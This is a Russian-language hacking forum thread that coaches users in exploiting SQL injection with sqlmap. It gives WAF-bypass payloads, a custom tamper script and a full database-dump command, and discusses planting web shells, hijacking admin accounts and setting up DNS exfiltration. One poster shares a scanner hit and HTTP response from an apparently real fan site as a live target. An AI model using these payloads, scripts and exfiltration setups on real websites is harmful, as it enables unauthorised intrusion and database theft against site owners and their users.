Статья Сканируем и раскручиваем SQL Injection с умом

Пожалуйста, обратите внимание, что пользователь заблокирован
Встроеную в мап --os-shell можно юзать на mssql и postgresql когда есть staked + права на запись (dba true). А вручную шелл можно залить и на mysql при условии что есть права на запись и ты знаешь путь к папке где лежит сайт на сервере.
Спасибо,открыл глаза.

а подскажи как можно определить какой именно --tamper нужно использовать на той или иной скуле ?
просто я ставлю стандартно на всех скулях--tamper=space2comment.py,randomcase.py,between.py ,на сколько это правильно вообще?

чего можно начать обучение тамперов ?их описание я конечно читал,но тут вообще ступор ..
 
Спасибо,открыл глаза.

а подскажи как можно определить какой именно --tamper нужно использовать на той или иной скуле ?
просто я ставлю стандартно на всех скулях--tamper=space2comment.py,randomcase.py,between.py ,на сколько это правильно вообще?

чего можно начать обучение тамперов ?их описание я конечно читал,но тут вообще ступор ..

Дабы понять что фильтруется - надо сначала руками крутить, и смотреть что не пропускает фильтр на таргете, слово, символ, и так далее, а тампер использовать уже когда знаешь что где фильтруется и соответственно под фильтр подбирать тампер либо написать свой на питоне, это не так сложно. Использовать тамперы просто так не надо, randomcase еще допустимо, но space2comment и between не надо без надобности юзать.

 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дабы понять что фильтруется - надо сначала руками крутить, и смотреть что не пропускает фильтр на таргете, слово, символ, и так далее, а тампер использовать уже когда знаешь что где фильтруется и соответственно под фильтр подбирать тампер либо написать свой на питоне, это не так сложно. Использовать тамперы просто так не надо, randomcase еще допустимо, но space2comment и between не надо без надобности юзать.

уточни плз, если не разбираешься в тамперах лучше их вообще не использовать?!
просто я долгое время крутил с тамперами space2comment.py,randomcase.py,between.py и все равно скули раскрывались,в моем случае если начать крутить без тамперов получается % раскрываемости должен быть лучше чем с --tamper=space2comment.py,randomcase.py,between.py ?
 
Последнее редактирование:
получается если не разбираешься в тамперах лучше их вообще не использовать?!
Само собой, если не понимаешь что фильтруется на таргете и не знаешь для чего какой тампер то не надо их пихать в мап.

а вообще, какие тамперы чаще всего применяют или какие стандартные тамперы лучше использовать чтоб повысить % раскрываемости ?
Такого понятия вообще нет по сути. Тамперы разные в зависимости от каждой ситуации. Ты нашел окунем скулю, засунул ее в мап, мап начал крутить и в итоге не раскрутил ни чего, например мап начал сыпать ошибками 400, 403, 405 или какой либо другой, в таком случае ты должен взять эту скулю и засунуть в любой request builder (можно и прям в браузере если скуля в get запросе) и проверять руками почему таргет отдает тебе ошибку. Два примера:

1) https://test.com/page=1' union select null,null,null--

К примеру тут фильтруется "union select" и сайт отдает ошибку 403 когда ты делаешь такой запрос. Опытным путем (вручную) ты выяснил что фильтр не срабатывает и через скулю выводятся данные когда ты берешь union и select в коммент вот так:

https://test.com/page=1' /*!0union*/ /*!0select*/ null,null,null--

Значит в таком случае тебе надо использовать тампер halfversionedmorekeywords

2) Второй пример, допустим другой сайт и такая же скуля: https://test.com/page=1' union select null,null,null--
Тут таргет тоже отдает 403 ошибку например, и halfversionedmorekeywords тебе уже не помогает. Так же руками начинаешь все чекать, и обнаруживаешь что фильтруются пробелы и слово null. Фильтр на пробелы допустим обошел так: 1'%09union%0Aselect%0Cnull,null,null-- и значит тебе понадобится тампер space2mysqlblank, вот только null по прежнему не пропускает, и допустим ты выяснял что null проходит если первую букву перевести в url-encode а остальные сделать в разном регистре вот так:

1'%09union%0Aselect%0C%6euLl,%6eUll,%6euLL--

И вот у тебя будет ступор, ибо тампера такого нет в мапе, тебе придется писать его самому, что то типа (колхозный вариант):

Код:
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):

    return payload.replace("NULL", "%6euLL") if payload else payload

И только в таком случае ты раскрутишь эту скулю через мап. Я это все к чему, несуществует какого то универсального тампера под все ситуации, исходить всегда надо из ручной проверки скули, чекать что там фильтрует и только в том случае если что то фильтрует - подставлять нужный тампер, а не пихать их без надобности в каждую скулю.
 
Да и вообще, акунетикс или какой то другой сканнер может тебе показать что на таргете вообще нет скулей, а на самом деле они есть, ведь сканнеры не умеют обходить WAF и прочие самописные фильтры. Поэтому важно уметь крутить руками и на уровне инстинкта понимать где на таргете может быть скуля, и пытаться туда ломиться с различными техниками обхода waf и фильтров. От такая х#йня малята :D
 
Да и вообще, акунетикс или какой то другой сканнер может тебе показать что на таргете вообще нет скулей, а на самом деле они есть, ведь сканнеры не умеют обходить WAF и прочие самописные фильтры. Поэтому важно уметь крутить руками и на уровне инстинкта понимать где на таргете может быть скуля, и пытаться туда ломиться с различными техниками обхода waf и фильтров. От такая х#йня малята :D
Насчет сканеров прям +++. На серьёзных проектах автоматические сканеры выдают либо много False Positive либо не выдают ничего вообще. В первую очередь, чтобы успешно юзать сканеры, нужно научиться крутить уязвимости руками и пытаться понять почему они возникают именно в этом месте. Потом уже на других проектах будешь находить баги (ну или хотя бы зацепки) в тех же местах. Удачи в обучении короче. Если надо могу кинуть ресурсы на которых можешь потрениться, но они итак всем известны и ты должен был в первую очередь тусить там. Сорри за занудство😁
UPD: Говорил ты, а имел в виду ТС'а
 
но S (Stacked queries) ведь только на mssql?!они не так часто встречаются мне,поэтому ставил BEUT..ибо зачем крутить S (Stacked queries) когда там допустим mysql,ведь я незнаю какая там бд изначально..или на mysql когда указываешь sqlmap`у technique=S он ее не крутит?!

ты пишешь про запуск шела,всегда это не допонимал ,где то пишут что можно залить шел только при условии mssql +Stacked queries+is dba TRUE, где то при условии mysql is dba TRUE ,проясни пожалуйста в итоге при каких условиях можно залить шелл через sqlmap?
В mysql при Stacked ты можешь менять данные в таблицах, например поменять пароль админа и зайти в админку.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Само собой, если не понимаешь что фильтруется на таргете и не знаешь для чего какой тампер то не надо их пихать в мап.


Такого понятия вообще нет по сути. Тамперы разные в зависимости от каждой ситуации. Ты нашел окунем скулю, засунул ее в мап, мап начал крутить и в итоге не раскрутил ни чего, например мап начал сыпать ошибками 400, 403, 405 или какой либо другой, в таком случае ты должен взять эту скулю и засунуть в любой request builder (можно и прям в браузере если скуля в get запросе) и проверять руками почему таргет отдает тебе ошибку. Два примера:

1) https://test.com/page=1' union select null,null,null--

К примеру тут фильтруется "union select" и сайт отдает ошибку 403 когда ты делаешь такой запрос. Опытным путем (вручную) ты выяснил что фильтр не срабатывает и через скулю выводятся данные когда ты берешь union и select в коммент вот так:

https://test.com/page=1' /*!0union*/ /*!0select*/ null,null,null--

Значит в таком случае тебе надо использовать тампер halfversionedmorekeywords

2) Второй пример, допустим другой сайт и такая же скуля: https://test.com/page=1' union select null,null,null--
Тут таргет тоже отдает 403 ошибку например, и halfversionedmorekeywords тебе уже не помогает. Так же руками начинаешь все чекать, и обнаруживаешь что фильтруются пробелы и слово null. Фильтр на пробелы допустим обошел так: 1'%09union%0Aselect%0Cnull,null,null-- и значит тебе понадобится тампер space2mysqlblank, вот только null по прежнему не пропускает, и допустим ты выяснял что null проходит если первую букву перевести в url-encode а остальные сделать в разном регистре вот так:

1'%09union%0Aselect%0C%6euLl,%6eUll,%6euLL--

И вот у тебя будет ступор, ибо тампера такого нет в мапе, тебе придется писать его самому, что то типа (колхозный вариант):

Код:
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):

    return payload.replace("NULL", "%6euLL") if payload else payload

И только в таком случае ты раскрутишь эту скулю через мап. Я это все к чему, несуществует какого то универсального тампера под все ситуации, исходить всегда надо из ручной проверки скули, чекать что там фильтрует и только в том случае если что то фильтрует - подставлять нужный тампер, а не пихать их без надобности в каждую скулю.
получается чтоб понять где и что фильтруется,нужно сделать тест на sql(я в них не разбираюсь,сразу не пинать=)) смотреть при каком запросе он срабатывает,(вводить команды типо union select null,null,null-- и тп)т.е в случае успешного обхода WAF ,нужно чтобы код ответа был 200 или я не правильно понял?
например сейчас взял 1 скулю с акунетикса ,там
HTTP Response

HTTP/1.1 500 Internal Server Error
Date: Fri, 21 Jan 2022 04:07:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
CF-Ray: 6d0dada818b2d66d-MAD
Strict-Transport-Security: max-age=15768000; includeSubDomains
Vary: Accept-Encoding
CF-Cache-Status: BYPASS
cf-apo-via: origin,qs
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-Powered-By: PHP/8.1.1
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TBHR3w1RAyyXQEjBgcb%2BZ7ELdlOy0fGiZqbso1x6X42ea2hUVDFqDhNSufQicnqhXIRAyR%2BeWbqiryiUGrC0k7ny9dbr91SOjWzvbmCDq%2BThxHQhRWWOUV3s1GU6JZZU1FgTGSNCopVNjtlF"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Content-Length: 750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb">

<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="robots" content="index, follow" />

<meta name="keywords" content="Pink Floyd,Roger Waters,David Gilmour,Syd Barrett,Richard Wright, news, photos, magazine, forum, concert dates" />

<meta name="description" content="Neptune Pink Floyd - Comprehensive fan site with large forum, photo gallery, news, magazine and more!" />

<title>
код ответа 500 Internal Server Error ,тоесть тут нужен какой то тампер?но тогда как акунетикс ее увидел как скулю ..
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Насчет сканеров прям +++. На серьёзных проектах автоматические сканеры выдают либо много False Positive либо не выдают ничего вообще. В первую очередь, чтобы успешно юзать сканеры, нужно научиться крутить уязвимости руками и пытаться понять почему они возникают именно в этом месте. Потом уже на других проектах будешь находить баги (ну или хотя бы зацепки) в тех же местах. Удачи в обучении короче. Если надо могу кинуть ресурсы на которых можешь потрениться, но они итак всем известны и ты должен был в первую очередь тусить там. Сорри за занудство😁
UPD: Говорил ты, а имел в виду ТС'а
ты прав, кинь пожалуйста ресурсы
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в статье говорится:
Готово! Namecheap пишет что обновление DNS записей займёт до 24 часов, но по факту у меня занимало не больше 1-2 часов.
Теперь в sqlmap мы указываем аргумент –dns-domain=yourdomain.com , и вуаля, все заработало.
Подтверждение этого, вывод в консоли: data retrieval through DNS channel was successful
Важно подметить что эта техника никак не поможет вам с тем чтобы раскрутить уязвимость, а только лишь с тем чтобы ускорить вывод. Так что сначала подтвержденная скуля, потом –dns-domain
Нашел скулю Bolean половину бд раскрыл,пошел регать домен.
вроде все сделал по инструкции.. купил домен на Namecheap .
прописал NS записи в Advanced DNS - Personal DNS Server :
ns1.адрес-сервера-на-котором-кручускулю.ком
ns2.адрес-сервера-на-котором-кручускулю.ком
перешел во вкладу Domain, пролистал до Nameservers, поменял с Namecheap BasicDNS на Custom DNS и вписал
ns1.сайт-скули.ком
ns2.сайт-скули.ком

подождал полтора часа пока при переходе на мой домен перестала грузится страница Namecheap, типо домен зарегестрирован на Namecheap .
ввел в консоли:
-fresh-queries –-dns-domain=сайтсоскулей.ком -v2 --not-string "Sorry no products found. Please search again" --is-dba -D dbname-T blog -count dump -dump -batch --timeout=240 - --technique="EBTU" --random-agent --risk=3 --level=5 --dbms=mysql --no-cast --answer="sqlmap could have problems=Y"," further processing with other tools =N","via a dictionary-based attak?=n","dump found column(s) entries?=n"
пробовал и –-dns-domain=8значный-домен-который-регнул.ком и –-dns-domain=адрес-сервера-на-котором-кручускулю.ком
но sqlmap НЕ пишет " data retrieval through DNS channel was successful" и также медленно дампит.в чем причина может быть?
 
Последнее редактирование:
в статье говорится:

Нашел скулю Bolean половину бд раскрыл,пошел регать домен.
вроде все сделал по инструкции.. купил домен на Namecheap .
прописал NS записи в Advanced DNS - Personal DNS Server :
ns1.адрес-сервера-на-котором-кручускулю.ком
ns2.адрес-сервера-на-котором-кручускулю.ком
перешел во вкладу Domain, пролистал до Nameservers, поменял с Namecheap BasicDNS на Custom DNS и вписал
ns1.сайт-скули.ком
ns2.сайт-скули.ком

подождал полтора часа пока при переходе на мой домен перестала грузится страница Namecheap, типо домен зарегестрирован на Namecheap .
ввел в консоли:

пробовал и –-dns-domain=8значный-домен-который-регнул.ком и –-dns-domain=адрес-сервера-на-котором-кручускулю.ком
но sqlmap НЕ пишет " data retrieval through DNS channel was successful" и также медленно дампит.в чем причина может быть?
Вместо сайт-скули.ком ты должен вписывать адрес своего личного сервера (VPS)
 
в статье говорится:

Нашел скулю Bolean половину бд раскрыл,пошел регать домен.
вроде все сделал по инструкции.. купил домен на Namecheap .
прописал NS записи в Advanced DNS - Personal DNS Server :
ns1.адрес-сервера-на-котором-кручускулю.ком
ns2.адрес-сервера-на-котором-кручускулю.ком
перешел во вкладу Domain, пролистал до Nameservers, поменял с Namecheap BasicDNS на Custom DNS и вписал
ns1.сайт-скули.ком
ns2.сайт-скули.ком

подождал полтора часа пока при переходе на мой домен перестала грузится страница Namecheap, типо домен зарегестрирован на Namecheap .
ввел в консоли:

пробовал и –-dns-domain=8значный-домен-который-регнул.ком и –-dns-domain=адрес-сервера-на-котором-кручускулю.ком
но sqlmap НЕ пишет " data retrieval through DNS channel was successful" и также медленно дампит.в чем причина может быть?
Вместо сайт-скули.ком ты должен вписывать адрес своего личного сервера (VPS)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вместо сайт-скули.ком ты должен вписывать адрес своего личного сервера (VPS)
но во вкладке Domain в Custom DNS не дает вписать ип моего личного VPS(только домен как я понял) .В Advanced DNS - Personal DNS Server только там дает вписать ип
 
Прежде чем работать со скулмапом, надо научится крутить руками. Скулмап как бы лишь для автоматизации.
А если человек не шарит, он не раскрутит мапом ни один нормальный сайт.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в статье говорится:

Нашел скулю Bolean половину бд раскрыл,пошел регать домен.
вроде все сделал по инструкции.. купил домен на Namecheap .
прописал NS записи в Advanced DNS - Personal DNS Server :
ns1.адрес-сервера-на-котором-кручускулю.ком
ns2.адрес-сервера-на-котором-кручускулю.ком
перешел во вкладу Domain, пролистал до Nameservers, поменял с Namecheap BasicDNS на Custom DNS и вписал
ns1.сайт-скули.ком
ns2.сайт-скули.ком

подождал полтора часа пока при переходе на мой домен перестала грузится страница Namecheap, типо домен зарегестрирован на Namecheap .
ввел в консоли:

пробовал и –-dns-domain=8значный-домен-который-регнул.ком и –-dns-domain=адрес-сервера-на-котором-кручускулю.ком
но sqlmap НЕ пишет " data retrieval through DNS channel was successful" и также медленно дампит.в чем причина может быть?
после этих действий в C:\Windows\System32\drivers\etc\hosts нужно что то вписать на моем vps мб ,почему у меня не сработало помогите разобраться ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх